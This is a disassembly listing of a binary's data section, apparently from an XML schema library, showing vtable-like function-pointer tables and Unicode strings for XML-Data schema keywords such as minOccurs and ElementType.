off_69B12774 dd offset sub_69B448B2 ; DATA XREF: sub_69B508C2o
; sub_69B50B70+1Ao
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B505B4
dd offset sub_69B505D7
dd offset sub_69B50BB3
dd offset sub_69B50EF2
dd offset sub_69B510E3
off_69B12794 dd offset sub_69B50610 ; DATA XREF: sub_69B508E5o
; sub_69B50CCC+12o
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B50F55
dd offset sub_69B50D43
off_69B127A8 dd offset sub_69B448B2 ; DATA XREF: sub_69B50908o
; sub_69B50DC6+18o
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B50E23
dd offset sub_69B50666
dd offset sub_69B50680
dd offset sub_69B84A3B
off_69B127C4 dd offset sub_69B448B2 ; DATA XREF: sub_69B50F99+6o
; sub_69B51071+12o
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B5092B
dd offset sub_69B5068D
dd offset sub_69B506B5
dd offset sub_69B84A3B
off_69B127E0 dd offset sub_69B546C2 ; DATA XREF: sub_69B549EC+Bo
; sub_69B54ADC+Ao
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B54806
dd offset sub_69B5491C
dd offset sub_69B54A44
dd offset sub_69B54A30
off_69B127FC dd offset sub_69B56062 ; DATA XREF: sub_69B56167+Fo
; sub_69B56509+12o ...
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B561FC
dd offset sub_69B5669F
dd offset sub_69B55EAF
dd offset sub_69B84A43
dd offset sub_69B365EB
dd offset sub_69B55F23
dd offset sub_69B365F3
dd offset sub_69B365EB
dd offset sub_69B365EB
dd offset sub_69B56301
dd offset sub_69B84A3B
off_69B12834 dd offset sub_69B3B7BC ; DATA XREF: sub_69B5A06D+8o
; sub_69B5A168o
dd offset sub_69B1F56C
dd offset sub_69B7793E
dd offset sub_69B5A0DE
dd offset sub_69B3BB2E
dd offset sub_69B7794D
dd offset sub_69B3C310
dd offset sub_69B59F43
off_69B12854 dd offset sub_69B3B7BC ; DATA XREF: sub_69B5A7CD+Fo
; sub_69B5A86B+7o
dd offset sub_69B1F56C
dd offset sub_69B7793E
dd offset sub_69B5A0DE
dd offset sub_69B3BB2E
dd offset sub_69B7794D
dd offset sub_69B3C310
dd offset sub_69B5A234
dd offset sub_69B5A51C
dd offset sub_69B5A5FC
dd offset sub_69B5A6D4
dd offset sub_69B5A2F4
dd offset sub_69B5A3AC
dd offset sub_69B5A464
aMin: ; DATA XREF: .data:69B922F4o
unicode 0, <min>,0
aMax: ; DATA XREF: .data:69B922F0o
unicode 0, <max>,0
aMaxexclusive: ; DATA XREF: .data:69B922FCo
unicode 0, <maxExclusive>,0
align 4
aMinexclusive: ; DATA XREF: .data:69B922F8o
unicode 0, <minExclusive>,0
align 4
aMinlength: ; DATA XREF: .data:69B922ECo
unicode 0, <minLength>,0
aMaxlength: ; DATA XREF: .data:69B922E8o
unicode 0, <maxLength>,0
aExtends: ; DATA XREF: .data:69B922D8o
unicode 0, <extends>,0
aDescription: ; DATA XREF: .data:69B922D4o
unicode 0, <description>,0
aValues: ; DATA XREF: .data:69B922E4o
unicode 0, <values>,0
align 4
aRequiredvalue: ; DATA XREF: .data:69B922B4o
unicode 0, <requiredValue>,0
aDefault_0: ; DATA XREF: .data:69B922B0o
unicode 0, <default>,0
aDatatype: ; DATA XREF: .data:69B922D0o
unicode 0, <datatype>,0
align 4
aRequired: ; DATA XREF: .data:69B92280o
unicode 0, <required>,0
align 4
aAttributetype: ; DATA XREF: .data:69B922C8o
unicode 0, <AttributeType>,0
aMany: ; DATA XREF: .data:69B9227Co
unicode 0, <many>,0
align 10h
aOne: ; DATA XREF: .data:69B92278o
unicode 0, <one>,0
aSeq: ; DATA XREF: .data:69B92274o
unicode 0, <seq>,0
aGrouporder: ; DATA XREF: .data:69B92270o
unicode 0, <groupOrder>,0
align 4
aGroup: ; DATA XREF: .data:69B922C4o
unicode 0, <group>,0
aOrder: ; DATA XREF: .data:69B9226Co
unicode 0, <order>,0
aTextonly: ; DATA XREF: .data:69B92268o
unicode 0, <textOnly>,0
align 4
aEltonly: ; DATA XREF: .data:69B92264o
unicode 0, <eltOnly>,0
aMixed: ; DATA XREF: .data:69B9225Co
unicode 0, <mixed>,0
aContent: ; DATA XREF: .data:69B92258o
unicode 0, <content>,0
aClosed: ; DATA XREF: .data:69B92254o
unicode 0, <closed>,0
align 10h
aOpen: ; DATA XREF: .data:69B92250o
unicode 0, <open>,0
align 4
aModel: ; DATA XREF: .data:69B9224Co
unicode 0, <model>,0
aElementtype: ; DATA XREF: .data:69B922BCo
unicode 0, <ElementType>,0
aMinoccurs: ; DATA XREF: .data:69B92244o
unicode 0, <minOccurs>,0
aMaxoccurs: ; DATA XREF: .data:69B92240o
unicode 0, <maxOccurs>,0
aSchema_0: ; DATA XREF: .data:69B922B8o
; .data:69B922DCo
unicode 0, <Schema>,0
align 4
dword_69B12AA8 dd 1, 2, 0FFFFFFFFh, 3, 5, 2, 4, 6, 0FFFFFFFFh, 7, 0FFFFFFFFh
; DATA XREF: .data:69B96140o
; .data:69B96180o
dd 3, 5, 0FFFFFFFFh
off_69B12AE0 dd offset sub_69B448B2 ; DATA XREF: sub_69B5CDA6+12o
; sub_69B5CE3E+Fo
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B5CC64
dd offset sub_69B5CCB0
dd offset sub_69B5CCE6
dd offset sub_69B5CD37
dd offset sub_69B5CD56
off_69B12B00 dd offset sub_69B5D45C ; DATA XREF: sub_69B5D774+Do
; sub_69B5D8D8+Ao
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B5D986
dd offset sub_69B5D68C
dd offset sub_69B8CB95
off_69B12B18 dd offset sub_69B448B2 ; DATA XREF: sub_69B5E296+3o
; sub_69B5E330+17o
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B5E005
dd offset sub_69B5E036
dd offset sub_69B84A3B
off_69B12B30 dd offset loc_69B60B40 ; DATA XREF: sub_69B5EFB0+3o
; sub_69B625BC+Ao ...
dd offset sub_69B5F004
dd offset sub_69B5F04B
dd offset sub_69B5F0A3
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B60B2D
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B62625
dd offset sub_69B62F72
dd offset sub_69B82AF4
dd offset sub_69B63C59
dd offset sub_69B63788
off_69B12B78 dd offset loc_69B60B40 ; DATA XREF: sub_69B5F0BE+3o
; sub_69B5FB10-A11o
dd offset sub_69B5F004
dd offset sub_69B5F04B
dd offset sub_69B5F0BE
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B5EA90
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B5F117
dd offset sub_69B5F12B
dd offset sub_69B5F23C
dd offset sub_69B60A82
dd offset sub_69B5F881
off_69B12BC0 dd offset sub_69B65C47 ; DATA XREF: sub_69B65445+19o
; sub_69B6C869+17o
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset loc_69B65488
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset loc_69B6548D
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B65480
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B76F43
dd offset sub_69B698CB
dd offset sub_69B6860C
dd offset sub_69B6C7A5
dd offset sub_69B6860C
dd offset sub_69B6C7E4
dd offset sub_69B6C803
dd offset sub_69B82AF4
dd offset nullsub_6
dd offset sub_69B6C906
dd offset sub_69B6C809
off_69B12C20 dd offset loc_69B65C65 ; DATA XREF: sub_69B65C0F+19o
; sub_69B66761+28o
dd offset loc_69B65C6F
dd offset loc_69B65C79
dd offset loc_69B65CA3
dd offset loc_69B689CE
dd offset loc_69B689D6
dd offset loc_69B65C83
dd offset loc_69B65CAB
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B65CB3
dd offset sub_69B6CBEF
dd offset sub_69B6CC18
dd offset sub_69B66521
dd offset sub_69B66558
dd offset sub_69B66505
dd offset sub_69B66598
dd offset sub_69B66626
dd offset sub_69B6CD8D
dd offset sub_69B6CDE6
dd offset sub_69B6C9D6
dd offset sub_69B67AEA
dd offset sub_69B6C983
dd offset sub_69B6C995
dd offset sub_69B6C9C6
dd offset sub_69B66638
dd offset sub_69B6CEF4
dd offset sub_69B6CF3A
dd offset sub_69B66717
dd offset sub_69B66573
dd offset sub_69B65C39
dd offset sub_69B6CA26
dd offset sub_69B65D2D
dd offset sub_69B65CBB
dd offset sub_69B65CD6
off_69B12CB8 dd offset sub_69B65C47 ; DATA XREF: sub_69B65C0F+12o
; sub_69B66761+21o
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset loc_69B65C8B
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B65C93
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B65480
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B65C9B
dd offset sub_69B6C9F1
dd offset sub_69B65C43
dd offset sub_69B6CA09
dd offset sub_69B6C9FC
dd offset sub_69B6C7E4
dd offset sub_69B665E9
dd offset sub_69B6CA9A
dd offset sub_69B6CABD
dd offset sub_69B6D044
dd offset sub_69B6C809
off_69B12D18 dd offset sub_69B6547B ; DATA XREF: sub_69B65C0F+Co
; sub_69B66761+1Bo
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B65F7D
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B664FF
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B6C84F
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B66701
dd offset sub_69B666E5
dd offset sub_69B6CAED
dd offset sub_69B6CA6F
dd offset sub_69B66657
dd offset sub_69B66614
dd offset sub_69B666EB
off_69B12D68 dd offset loc_69B65C65 ; DATA XREF: sub_69B65D89+19o
; sub_69B65E27+24o
dd offset loc_69B65C6F
dd offset loc_69B65C79
dd offset loc_69B65DCB
dd offset loc_69B689CE
dd offset loc_69B689D6
dd offset loc_69B65C83
dd offset loc_69B65DD3
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B65DE3
dd offset sub_69B6CBEF
dd offset sub_69B6CC18
dd offset sub_69B66521
dd offset sub_69B65EC5
dd offset sub_69B65924
dd offset sub_69B65E77
dd offset sub_69B66626
dd offset sub_69B6CD8D
dd offset sub_69B6CDE6
dd offset sub_69B6C9D6
dd offset sub_69B658C4
dd offset sub_69B6C983
dd offset sub_69B6C995
dd offset sub_69B6C9C6
dd offset sub_69B66638
dd offset sub_69B6CEF4
dd offset sub_69B6CF3A
dd offset sub_69B65F4D
dd offset sub_69B66573
dd offset sub_69B65C39
dd offset sub_69B6CA26
dd offset sub_69B65D2D
dd offset sub_69B65CBB
dd offset sub_69B65CD6
off_69B12E00 dd offset sub_69B65C47 ; DATA XREF: sub_69B65D89+12o
; sub_69B65E27+1Do
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset loc_69B65DBB
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B65DC3
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B65480
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B65DDB
dd offset sub_69B6C9F1
dd offset sub_69B65C43
dd offset sub_69B6CA09
dd offset sub_69B6C9FC
dd offset sub_69B6C7E4
dd offset sub_69B665E9
dd offset sub_69B6CA9A
dd offset sub_69B6CABD
dd offset sub_69B6D044
dd offset sub_69B6C809
off_69B12E60 dd offset sub_69B6547B ; DATA XREF: sub_69B65D89+Co
; sub_69B65E27+17o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B65F98
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B658B5
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B6C84F
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B65A39
dd offset sub_69B659B9
dd offset sub_69B65B35
dd offset sub_69B6597E
dd offset sub_69B66021
dd offset sub_69B658F2
dd offset sub_69B659BF
off_69B12EB0 dd offset loc_69B65C65 ; DATA XREF: sub_69B664E8-18Do
; sub_69B6646A+19o
dd offset loc_69B65C6F
dd offset loc_69B65C79
dd offset loc_69B66380
dd offset loc_69B689CE
dd offset loc_69B689D6
dd offset loc_69B65C83
dd offset loc_69B66388
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B66398
dd offset sub_69B6CBEF
dd offset sub_69B6CC18
dd offset sub_69B6CC3B
dd offset sub_69B6CCB6
dd offset sub_69B66127
dd offset sub_69B66080
dd offset sub_69B6CA3F
dd offset sub_69B663C1
dd offset sub_69B6CDE6
dd offset sub_69B6C9D6
dd offset sub_69B66149
dd offset sub_69B6C983
dd offset sub_69B6C995
dd offset sub_69B6C9C6
dd offset sub_69B6C9E3
dd offset sub_69B6CEF4
dd offset sub_69B6CF3A
dd offset sub_69B662DE
dd offset sub_69B6CD55
dd offset sub_69B65C39
dd offset sub_69B6640A
dd offset sub_69B65D2D
dd offset sub_69B65CBB
dd offset loc_69B65D1B
off_69B12F48 dd offset sub_69B65C47 ; DATA XREF: sub_69B664E8-194o
; sub_69B6646A+12o
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B66370
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B66378
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B65480
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B66390
dd offset sub_69B6C9F1
dd offset sub_69B65C43
dd offset sub_69B6CA09
dd offset sub_69B6C9FC
dd offset sub_69B6C7E4
dd offset sub_69B6CA4E
dd offset sub_69B6CA9A
dd offset sub_69B6CABD
dd offset sub_69B6D044
dd offset sub_69B66091
off_69B12FA8 dd offset sub_69B6547B ; DATA XREF: sub_69B664E8-19Ao
; sub_69B6646A+Co
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B66498
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B66072
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B6C84F
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B660DF
dd offset sub_69B6860C
dd offset sub_69B6CAED
dd offset sub_69B6CA6F
dd offset sub_69B663A0
dd offset sub_69B6C9EA
dd offset nullsub_3
off_69B12FF8 dd offset loc_69B65C65 ; DATA XREF: sub_69B67A6D+25o
; sub_69B67B17+26o ...
dd offset loc_69B65C6F
dd offset loc_69B65C79
dd offset loc_69B692E6
dd offset loc_69B689CE
dd offset loc_69B689D6
dd offset loc_69B65C83
dd offset loc_69B67AFF
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B67B0F
dd offset sub_69B6CBEF
dd offset sub_69B6CC18
dd offset sub_69B677CF
dd offset sub_69B6CCB6
dd offset sub_69B6787C
dd offset sub_69B67960
dd offset sub_69B6799B
dd offset sub_69B6CD8D
dd offset sub_69B677A5
dd offset sub_69B6C9D6
dd offset sub_69B67AEA
dd offset sub_69B6C983
dd offset sub_69B6C995
dd offset sub_69B6C9C6
dd offset sub_69B6C9E3
dd offset sub_69B6CEF4
dd offset sub_69B6CF3A
dd offset sub_69B67BD2
dd offset sub_69B6CD55
dd offset sub_69B65C39
dd offset sub_69B6CA26
dd offset sub_69B65D2D
dd offset sub_69B65CBB
dd offset loc_69B65D1B
off_69B13090 dd offset sub_69B65C47 ; DATA XREF: sub_69B67A6D+1Eo
; sub_69B67B17+1Fo ...
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B67AEF
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B67AF7
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B65480
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B67B07
dd offset sub_69B6C9F1
dd offset sub_69B65C43
dd offset sub_69B6CA09
dd offset sub_69B6C9FC
dd offset sub_69B6C7E4
dd offset sub_69B6778A
dd offset sub_69B6CA9A
dd offset sub_69B6CABD
dd offset sub_69B6D044
dd offset sub_69B6C809
off_69B130F0 dd offset sub_69B6547B ; DATA XREF: sub_69B67A6D+18o
; sub_69B67B17+19o ...
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B69319
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B67784
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B6C84F
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B678AC
dd offset sub_69B677F8
dd offset sub_69B6CAED
dd offset sub_69B6CA6F
dd offset sub_69B67B5D
dd offset sub_69B67BAE
dd offset sub_69B679C0
off_69B13140 dd offset loc_69B65C65 ; DATA XREF: sub_69B68013+34o
; sub_69B684CA+1Bo
dd offset loc_69B65C6F
dd offset loc_69B65C79
dd offset loc_69B6809D
dd offset loc_69B689CE
dd offset loc_69B689D6
dd offset loc_69B65C83
dd offset loc_69B680A5
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B680AD
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B680BD
dd offset sub_69B6CBEF
dd offset sub_69B6CC18
dd offset sub_69B677CF
dd offset sub_69B68121
dd offset sub_69B67D9D
dd offset sub_69B67DFD
dd offset sub_69B6799B
dd offset sub_69B6807B
dd offset sub_69B68080
dd offset sub_69B6C9D6
dd offset sub_69B67E43
dd offset sub_69B6C983
dd offset sub_69B6C995
dd offset sub_69B6C9C6
dd offset sub_69B67E70
dd offset sub_69B6CEF4
dd offset sub_69B6CF3A
dd offset sub_69B6848D
dd offset sub_69B6814E
dd offset sub_69B65C39
dd offset sub_69B6CA26
dd offset sub_69B65D2D
dd offset sub_69B65CBB
dd offset loc_69B65D1B
off_69B131D8 dd offset sub_69B65C47 ; DATA XREF: sub_69B68013+2Do
; sub_69B684CA+14o
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B68085
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B6808D
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B68095
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B680B5
dd offset sub_69B6C9F1
dd offset sub_69B65C43
dd offset sub_69B6CA09
dd offset sub_69B6C9FC
dd offset sub_69B6C7E4
dd offset sub_69B67D60
dd offset sub_69B6CA9A
dd offset sub_69B6CABD
dd offset sub_69B6D044
dd offset sub_69B6C809
off_69B13238 dd offset sub_69B6547B ; DATA XREF: sub_69B68013+27o
; sub_69B684CA+Eo
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B68513
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B67D4F
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B67D73
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B67F16
dd offset sub_69B67EA8
dd offset sub_69B6CAED
dd offset sub_69B6CA6F
dd offset sub_69B685ED
dd offset sub_69B6816F
dd offset sub_69B679C0
dd offset sub_69B68134
align 10h
off_69B13290 dd offset loc_69B65C65 ; DATA XREF: sub_69B686B1-80o
; sub_69B68658+19o
dd offset loc_69B65C6F
dd offset loc_69B65C79
dd offset loc_69B6D37A
dd offset loc_69B689CE
dd offset loc_69B689D6
dd offset loc_69B65C83
dd offset loc_69B6864B
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B68650
dd offset sub_69B6CBEF
dd offset sub_69B6CC18
dd offset sub_69B6CC3B
dd offset sub_69B6CCB6
dd offset sub_69B6CD21
dd offset sub_69B82AF4
dd offset sub_69B6CA3F
dd offset sub_69B6CD8D
dd offset sub_69B6860F
dd offset sub_69B6C9D6
dd offset sub_69B6D410
dd offset sub_69B6C983
dd offset sub_69B6C995
dd offset sub_69B6C9C6
dd offset sub_69B6C9E3
dd offset sub_69B6CEF4
dd offset sub_69B6CF3A
dd offset sub_69B6CFE2
dd offset sub_69B6CD55
dd offset sub_69B65C39
dd offset sub_69B6CA26
dd offset sub_69B65D2D
dd offset sub_69B65CBB
dd offset loc_69B65D1B
off_69B13328 dd offset sub_69B65C47 ; DATA XREF: sub_69B686B1-87o
; sub_69B68658+12o
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B6D36A
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B6863E
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B65480
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B68643
dd offset sub_69B6C9F1
dd offset sub_69B65C43
dd offset sub_69B6CA09
dd offset sub_69B6C9FC
dd offset sub_69B6C7E4
dd offset sub_69B6CA4E
dd offset sub_69B6CA9A
dd offset sub_69B6CABD
dd offset sub_69B6D044
dd offset sub_69B6C809
off_69B13388 dd offset sub_69B6547B ; DATA XREF: sub_69B686B1-8Do
; sub_69B68658+Co
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B6867E
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B685FC
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B6C84F
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B6CBC6
dd offset sub_69B6860C
dd offset sub_69B6CAED
dd offset sub_69B6CA6F
dd offset sub_69B6860C
dd offset sub_69B6C9EA
dd offset nullsub_3
off_69B133D8 dd offset loc_69B65C65 ; DATA XREF: sub_69B6893F+23o
; sub_69B68BD6+1Bo
dd offset loc_69B65C6F
dd offset loc_69B65C79
dd offset loc_69B689C6
dd offset loc_69B689CE
dd offset loc_69B689D6
dd offset loc_69B65C83
dd offset loc_69B689DE
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B689FB
dd offset sub_69B6CBEF
dd offset sub_69B6CC18
dd offset sub_69B6CC3B
dd offset sub_69B68896
dd offset sub_69B688A9
dd offset sub_69B6873D
dd offset sub_69B6879D
dd offset sub_69B686EF
dd offset sub_69B6CDE6
dd offset sub_69B6C9D6
dd offset sub_69B687E1
dd offset sub_69B6C983
dd offset sub_69B6C995
dd offset sub_69B6C9C6
dd offset sub_69B6C9E3
dd offset sub_69B6CEF4
dd offset sub_69B6CF3A
dd offset sub_69B688EC
dd offset sub_69B688CB
dd offset sub_69B65C39
dd offset sub_69B6CA26
dd offset sub_69B65D2D
dd offset sub_69B65CBB
dd offset sub_69B689E6
off_69B13470 dd offset sub_69B65C47 ; DATA XREF: sub_69B6893F+1Co
; sub_69B68BD6+14o
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B689B6
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B689BE
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B65480
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B689F3
dd offset sub_69B6C9F1
dd offset sub_69B65C43
dd offset sub_69B6CA09
dd offset sub_69B6C9FC
dd offset sub_69B6C7E4
dd offset sub_69B686D8
dd offset sub_69B6CA9A
dd offset sub_69B6CABD
dd offset sub_69B6D044
dd offset sub_69B6C809
off_69B134D0 dd offset sub_69B6547B ; DATA XREF: sub_69B6893F+16o
; sub_69B68BD6+Eo
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B68C0D
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B686C8
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B6C84F
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B6886B
dd offset sub_69B687AF
dd offset sub_69B6CAED
dd offset sub_69B6CA6F
dd offset sub_69B68C9A
dd offset sub_69B686DE
dd offset sub_69B687CB
off_69B13520 dd offset loc_69B65C65 ; DATA XREF: sub_69B68EDE+36o
; sub_69B69179+1Bo
dd offset loc_69B65C6F
dd offset loc_69B65C79
dd offset loc_69B68EBE
dd offset loc_69B689CE
dd offset loc_69B689D6
dd offset loc_69B65C83
dd offset loc_69B68EC6
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B68ED6
dd offset sub_69B6CBEF
dd offset sub_69B6CC18
dd offset sub_69B6CC3B
dd offset sub_69B68F3A
dd offset sub_69B68D24
dd offset sub_69B68D5E
dd offset sub_69B68E45
dd offset sub_69B6CD8D
dd offset sub_69B6CDE6
dd offset sub_69B6C9D6
dd offset sub_69B6D410
dd offset sub_69B6C983
dd offset sub_69B68CF3
dd offset sub_69B6C9C6
dd offset sub_69B6C9E3
dd offset sub_69B6CEF4
dd offset sub_69B6CF3A
dd offset sub_69B69132
dd offset sub_69B68FCD
dd offset sub_69B65C39
dd offset sub_69B6CA26
dd offset sub_69B65D2D
dd offset sub_69B65CBB
dd offset loc_69B65D1B
off_69B135B8 dd offset sub_69B65C47 ; DATA XREF: sub_69B68EDE+2Co
; sub_69B69179+14o
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset loc_69B68EAE
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B68EB6
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B65480
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B68ECE
dd offset sub_69B6C9F1
dd offset sub_69B65C43
dd offset sub_69B6CA09
dd offset sub_69B6C9FC
dd offset sub_69B6C7E4
dd offset sub_69B68CE0
dd offset sub_69B6CA9A
dd offset sub_69B6CABD
dd offset sub_69B6D044
dd offset sub_69B6C809
off_69B13618 dd offset sub_69B6547B ; DATA XREF: sub_69B68EDE+23o
; sub_69B69179+Eo
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B691B0
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B68CD0
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B6C84F
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B68E11
dd offset sub_69B68DB7
dd offset sub_69B6CAED
dd offset sub_69B6CA6F
dd offset sub_69B68FF7
dd offset sub_69B68E76
dd offset sub_69B687CB
dd offset sub_69B68F57
align 10h
off_69B13670 dd offset loc_69B65C65 ; DATA XREF: sub_69B6934C-7Bo
; sub_69B692F3+19o
dd offset loc_69B65C6F
dd offset loc_69B65C79
dd offset loc_69B692E6
dd offset loc_69B689CE
dd offset loc_69B689D6
dd offset loc_69B65C83
dd offset loc_69B692EB
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B67B0F
dd offset sub_69B6CBEF
dd offset sub_69B6CC18
dd offset sub_69B677CF
dd offset sub_69B6CCB6
dd offset sub_69B69268
dd offset sub_69B69296
dd offset sub_69B6799B
dd offset sub_69B6CD8D
dd offset sub_69B677A5
dd offset sub_69B6C9D6
dd offset sub_69B67AEA
dd offset sub_69B6C983
dd offset sub_69B6C995
dd offset sub_69B6C9C6
dd offset sub_69B6C9E3
dd offset sub_69B6CEF4
dd offset sub_69B6CF3A
dd offset sub_69B67BD2
dd offset sub_69B6CD55
dd offset sub_69B65C39
dd offset sub_69B6CA26
dd offset sub_69B65D2D
dd offset sub_69B65CBB
dd offset sub_69B59D1C
off_69B13708 dd offset sub_69B65C47 ; DATA XREF: sub_69B6934C-82o
; sub_69B692F3+12o
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B67AEF
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B692DE
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B65480
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B67B07
dd offset sub_69B6C9F1
dd offset sub_69B65C43
dd offset sub_69B6CA09
dd offset sub_69B6C9FC
dd offset sub_69B6C7E4
dd offset sub_69B6925C
dd offset sub_69B6CA9A
dd offset sub_69B6CABD
dd offset sub_69B6D044
dd offset sub_69B6C809
off_69B13768 dd offset sub_69B6547B ; DATA XREF: sub_69B6934C-88o
; sub_69B692F3+Co
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B69319
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B6924E
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B6C84F
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B678AC
dd offset sub_69B69262
